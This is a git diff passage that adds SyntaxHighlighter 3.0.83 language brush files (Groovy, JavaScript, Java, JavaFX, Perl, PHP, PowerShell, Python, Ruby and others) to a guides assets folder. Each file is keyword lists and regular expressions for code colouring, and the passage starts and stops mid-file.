+			{ regex: new RegExp("\\%.+", 'gm'), 						css: 'comments' },
+			{ regex: new RegExp("\\?[A-Za-z0-9_]+", 'g'), 				css: 'preprocessor' },
+			{ regex: new RegExp("[a-z0-9_]+:[a-z0-9_]+", 'g'), 			css: 'functions' },
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },
+			{ regex: new RegExp(this.getKeywords(keywords),	'gm'),		css: 'keyword' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['erl', 'erlang'];
+
+	SyntaxHighlighter.brushes.Erland = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
new file mode 100644
index 0000000..6ec5c18
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
@@ -0,0 +1,67 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Andres Almiray
+		// http://jroller.com/aalmiray/entry/nice_source_code_syntax_highlighter
+
+		var keywords =	'as assert break case catch class continue def default do else extends finally ' +
+						'if in implements import instanceof interface new package property return switch ' +
+						'throw throws try while public protected private static';
+		var types    =  'void boolean byte char short int long float double';
+		var constants = 'null';
+		var methods   = 'allProperties count get size '+
+						'collect each eachProperty eachPropertyName eachWithIndex find findAll ' +
+						'findIndexOf grep inject max min reverseEach sort ' +
+						'asImmutable asSynchronized flatten intersect join pop reverse subMap toList ' +
+						'padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize ' +
+						'eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText ' +
+						'splitEachLine withReader append encodeBase64 decodeBase64 filterLine ' +
+						'transformChar transformLine withOutputStream withPrintWriter withStream ' +
+						'withStreams withWriter withWriterAppend write writeLine '+
+						'dump inspect invokeMethod print println step times upto use waitForOrKill '+
+						'getText';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,				css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,					css: 'comments' },		// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,					css: 'string' },		// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,					css: 'string' },		// strings
+			{ regex: /""".*"""/g,													css: 'string' },		// GStrings
+			{ regex: new RegExp('\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b', 'gi'),	css: 'value' },			// numbers
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),					css: 'keyword' },		// goovy keyword
+			{ regex: new RegExp(this.getKeywords(types), 'gm'),						css: 'color1' },		// goovy/java type
+			{ regex: new RegExp(this.getKeywords(constants), 'gm'),					css: 'constants' },		// constants
+			{ regex: new RegExp(this.getKeywords(methods), 'gm'),					css: 'functions' }		// methods
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['groovy'];
+
+	SyntaxHighlighter.brushes.Groovy = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
new file mode 100644
index 0000000..ff98dab
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'break case catch continue ' +
+						'default delete do else false  ' +
+						'for function if in instanceof ' +
+						'new null return super switch ' +
+						'this throw true try typeof var while with'
+						;
+
+		var r = SyntaxHighlighter.regexLib;
+		
+		this.regexList = [
+			{ regex: r.multiLineDoubleQuotedString,					css: 'string' },			// double quoted strings
+			{ regex: r.multiLineSingleQuotedString,					css: 'string' },			// single quoted strings
+			{ regex: r.singleLineCComments,							css: 'comments' },			// one line comments
+			{ regex: r.multiLineCComments,							css: 'comments' },			// multiline comments
+			{ regex: /\s*#.*/gm,									css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }			// keywords
+			];
+	
+		this.forHtmlScript(r.scriptScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['js', 'jscript', 'javascript'];
+
+	SyntaxHighlighter.brushes.JScript = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
new file mode 100644
index 0000000..d692fd6
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
@@ -0,0 +1,57 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abstract assert boolean break byte case catch char class const ' +
+						'continue default do double else enum extends ' +
+						'false final finally float for goto if implements import ' +
+						'instanceof int interface long native new null ' +
+						'package private protected public return ' +
+						'short static strictfp super switch synchronized this throw throws true ' +
+						'transient try void volatile while';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },		// one line comments
+			{ regex: /\/\*([^\*][\s\S]*)?\*\//gm,						css: 'comments' },	 	// multiline comments
+			{ regex: /\/\*(?!\*\/)\*[\s\S]*?\*\//gm,					css: 'preprocessor' },	// documentation comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// strings
+			{ regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,				css: 'value' },			// numbers
+			{ regex: /(?!\@interface\b)\@[\$\w]+\b/g,					css: 'color1' },		// annotation @anno
+			{ regex: /\@interface\b/g,									css: 'color2' },		// @interface keyword
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }		// java keyword
+			];
+
+		this.forHtmlScript({
+			left	: /(<|<)%[@!=]?/g, 
+			right	: /%(>|>)/g 
+		});
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['java'];
+
+	SyntaxHighlighter.brushes.Java = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
new file mode 100644
index 0000000..1a150a6
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
@@ -0,0 +1,58 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Patrick Webster
+		// http://patrickwebster.blogspot.com/2009/04/javafx-brush-for-syntaxhighlighter.html
+		var datatypes =	'Boolean Byte Character Double Duration '
+						+ 'Float Integer Long Number Short String Void'
+						;
+
+		var keywords = 'abstract after and as assert at before bind bound break catch class '
+						+ 'continue def delete else exclusive extends false finally first for from '
+						+ 'function if import in indexof init insert instanceof into inverse last '
+						+ 'lazy mixin mod nativearray new not null on or override package postinit '
+						+ 'protected public public-init public-read replace return reverse sizeof '
+						+ 'step super then this throw true try tween typeof var where while with '
+						+ 'attribute let private readonly static trigger'
+						;
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },
+			{ regex: /(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi, css: 'color2' },	// numbers
+			{ regex: new RegExp(this.getKeywords(datatypes), 'gm'),		css: 'variable' },	// datatypes
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }
+		];
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['jfx', 'javafx'];
+
+	SyntaxHighlighter.brushes.JavaFX = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
new file mode 100644
index 0000000..d94a2e0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
@@ -0,0 +1,72 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by David Simmons-Duffin and Marty Kube
+	
+		var funcs = 
+			'abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr ' + 
+			'chroot close closedir connect cos crypt defined delete each endgrent ' + 
+			'endhostent endnetent endprotoent endpwent endservent eof exec exists ' + 
+			'exp fcntl fileno flock fork format formline getc getgrent getgrgid ' + 
+			'getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr ' + 
+			'getnetbyname getnetent getpeername getpgrp getppid getpriority ' + 
+			'getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid ' + 
+			'getservbyname getservbyport getservent getsockname getsockopt glob ' + 
+			'gmtime grep hex index int ioctl join keys kill lc lcfirst length link ' + 
+			'listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd ' + 
+			'oct open opendir ord pack pipe pop pos print printf prototype push ' + 
+			'quotemeta rand read readdir readline readlink readpipe recv rename ' + 
+			'reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl ' + 
+			'semget semop send setgrent sethostent setnetent setpgrp setpriority ' + 
+			'setprotoent setpwent setservent setsockopt shift shmctl shmget shmread ' + 
+			'shmwrite shutdown sin sleep socket socketpair sort splice split sprintf ' + 
+			'sqrt srand stat study substr symlink syscall sysopen sysread sysseek ' + 
+			'system syswrite tell telldir time times tr truncate uc ucfirst umask ' + 
+			'undef unlink unpack unshift utime values vec wait waitpid warn write';
+    
+		var keywords =  
+			'bless caller continue dbmclose dbmopen die do dump else elsif eval exit ' +
+			'for foreach goto if import last local my next no our package redo ref ' + 
+			'require return sub tie tied unless untie until use wantarray while';
+    
+		this.regexList = [
+			{ regex: new RegExp('#[^!].*$', 'gm'),					css: 'comments' },
+			{ regex: new RegExp('^\\s*#!.*$', 'gm'),				css: 'preprocessor' }, // shebang
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,	css: 'string' },
+			{ regex: new RegExp('(\\$|@|%)\\w+', 'g'),				css: 'variable' },
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),	css: 'functions' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }
+		    ];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases		= ['perl', 'Perl', 'pl'];
+
+	SyntaxHighlighter.brushes.Perl = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
new file mode 100644
index 0000000..95e6e43
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
@@ -0,0 +1,88 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var funcs	=	'abs acos acosh addcslashes addslashes ' +
+						'array_change_key_case array_chunk array_combine array_count_values array_diff '+
+						'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+
+						'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+
+						'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+
+						'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+
+						'array_push array_rand array_reduce array_reverse array_search array_shift '+
+						'array_slice array_splice array_sum array_udiff array_udiff_assoc '+
+						'array_udiff_uassoc array_uintersect array_uintersect_assoc '+
+						'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+
+						'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+
+						'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+
+						'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+
+						'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+
+						'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+
+						'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+
+						'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+
+						'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+
+						'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+
+						'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+
+						'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+
+						'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+
+						'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+
+						'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+
+						'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+
+						'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+
+						'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+
+						'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+
+						'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+
+						'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+
+						'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+
+						'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+
+						'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+
+						'strtoupper strtr strval substr substr_compare';
+
+		var keywords =	'abstract and array as break case catch cfunction class clone const continue declare default die do ' +
+						'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' +
+						'function include include_once global goto if implements interface instanceof namespace new ' +
+						'old_function or private protected public return require require_once static switch ' +
+						'throw try use var while xor ';
+		
+		var constants	= '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// single quoted strings
+			{ regex: /\$\w+/g,											css: 'variable' },			// variables
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' },			// common functions
+			{ regex: new RegExp(this.getKeywords(constants), 'gmi'),	css: 'constants' },			// constants
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }			// keyword
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['php'];
+
+	SyntaxHighlighter.brushes.Php = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
new file mode 100644
index 0000000..9f7d9e9
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
@@ -0,0 +1,33 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['text', 'plain'];
+
+	SyntaxHighlighter.brushes.Plain = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
new file mode 100644
index 0000000..0be1752
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
@@ -0,0 +1,74 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributes by B.v.Zanten, Getronics
+		// http://confluence.atlassian.com/display/CONFEXT/New+Code+Macro
+
+		var keywords = 'Add-Content Add-History Add-Member Add-PSSnapin Clear(-Content)? Clear-Item ' +
+					'Clear-ItemProperty Clear-Variable Compare-Object ConvertFrom-SecureString Convert-Path ' +
+					'ConvertTo-Html ConvertTo-SecureString Copy(-Item)? Copy-ItemProperty Export-Alias ' +
+					'Export-Clixml Export-Console Export-Csv ForEach(-Object)? Format-Custom Format-List ' +
+					'Format-Table Format-Wide Get-Acl Get-Alias Get-AuthenticodeSignature Get-ChildItem Get-Command ' +
+					'Get-Content Get-Credential Get-Culture Get-Date Get-EventLog Get-ExecutionPolicy ' +
+					'Get-Help Get-History Get-Host Get-Item Get-ItemProperty Get-Location Get-Member ' +
+					'Get-PfxCertificate Get-Process Get-PSDrive Get-PSProvider Get-PSSnapin Get-Service ' +
+					'Get-TraceSource Get-UICulture Get-Unique Get-Variable Get-WmiObject Group-Object ' +
+					'Import-Alias Import-Clixml Import-Csv Invoke-Expression Invoke-History Invoke-Item ' +
+					'Join-Path Measure-Command Measure-Object Move(-Item)? Move-ItemProperty New-Alias ' +
+					'New-Item New-ItemProperty New-Object New-PSDrive New-Service New-TimeSpan ' +
+					'New-Variable Out-Default Out-File Out-Host Out-Null Out-Printer Out-String Pop-Location ' +
+					'Push-Location Read-Host Remove-Item Remove-ItemProperty Remove-PSDrive Remove-PSSnapin ' +
+					'Remove-Variable Rename-Item Rename-ItemProperty Resolve-Path Restart-Service Resume-Service ' +
+					'Select-Object Select-String Set-Acl Set-Alias Set-AuthenticodeSignature Set-Content ' +
+					'Set-Date Set-ExecutionPolicy Set-Item Set-ItemProperty Set-Location Set-PSDebug ' +
+					'Set-Service Set-TraceSource Set(-Variable)? Sort-Object Split-Path Start-Service ' +
+					'Start-Sleep Start-Transcript Stop-Process Stop-Service Stop-Transcript Suspend-Service ' +
+					'Tee-Object Test-Path Trace-Command Update-FormatData Update-TypeData Where(-Object)? ' +
+					'Write-Debug Write-Error Write(-Host)? Write-Output Write-Progress Write-Verbose Write-Warning';
+		var alias = 'ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl ' +
+					'ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv ' +
+					'gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ' +
+					'ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp ' +
+					'spps spsv sv tee cat cd cp h history kill lp ls ' +
+					'mount mv popd ps pushd pwd r rm rmdir echo cls chdir del dir ' +
+					'erase rd ren type % \\?';
+
+		this.regexList = [
+			{ regex: /#.*$/gm,										css: 'comments' },  // one line comments
+			{ regex: /\$[a-zA-Z0-9]+\b/g,							css: 'value'   },   // variables $Computer1
+			{ regex: /\-[a-zA-Z]+\b/g,								css: 'keyword' },   // Operators    -not  -and  -eq
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },    // strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,	css: 'string' },    // strings
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),	css: 'keyword' },
+			{ regex: new RegExp(this.getKeywords(alias), 'gmi'),	css: 'keyword' }
+		];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['powershell', 'ps'];
+
+	SyntaxHighlighter.brushes.PowerShell = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
new file mode 100644
index 0000000..ce77462
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
@@ -0,0 +1,64 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Gheorghe Milas and Ahmad Sherif
+	
+		var keywords =  'and assert break class continue def del elif else ' +
+						'except exec finally for from global if import in is ' +
+						'lambda not or pass print raise return try yield while';
+
+		var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' +
+					'chr classmethod cmp coerce compile complex delattr dict dir ' +
+					'divmod enumerate eval execfile file filter float format frozenset ' +
+					'getattr globals hasattr hash help hex id input int intern ' +
+					'isinstance issubclass iter len list locals long map max min next ' +
+					'object oct open ord pow print property range raw_input reduce ' +
+					'reload repr reversed round set setattr slice sorted staticmethod ' +
+					'str sum super tuple type type unichr unicode vars xrange zip';
+
+		var special =  'None True False self cls class_';
+
+		this.regexList = [
+				{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' },
+				{ regex: /^\s*@\w+/gm, 										css: 'decorator' },
+				{ regex: /(['\"]{3})([^\1])*?\1/gm, 						css: 'comments' },
+				{ regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, 					css: 'string' },
+				{ regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, 				css: 'string' },
+				{ regex: /\+|\-|\*|\/|\%|=|==/gm, 							css: 'keyword' },
+				{ regex: /\b\d+\.?\w*/g, 									css: 'value' },
+				{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' },
+				{ regex: new RegExp(this.getKeywords(keywords), 'gm'), 		css: 'keyword' },
+				{ regex: new RegExp(this.getKeywords(special), 'gm'), 		css: 'color1' }
+				];
+			
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['py', 'python'];
+
+	SyntaxHighlighter.brushes.Python = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
new file mode 100644
index 0000000..ff82130
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Erik Peterson.
+	
+		var keywords =	'alias and BEGIN begin break case class def define_method defined do each else elsif ' +
+						'END end ensure false for if in module new next nil not or raise redo rescue retry return ' +
+						'self super then throw true undef unless until when while yield';
+
+		var builtins =	'Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload ' +
+						'Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ' +
+						'ThreadGroup Thread Time TrueClass';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments,	css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// single quoted strings
+			{ regex: /\b[A-Z0-9_]+\b/g,									css: 'constants' },		// constants
+			{ regex: /:[a-z][A-Za-z0-9_]*/g,							css: 'color2' },		// symbols
+			{ regex: /(\$|@@|@)\w+/g,									css: 'variable bold' },	// $global, @instance, and @@class variables
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },		// keywords
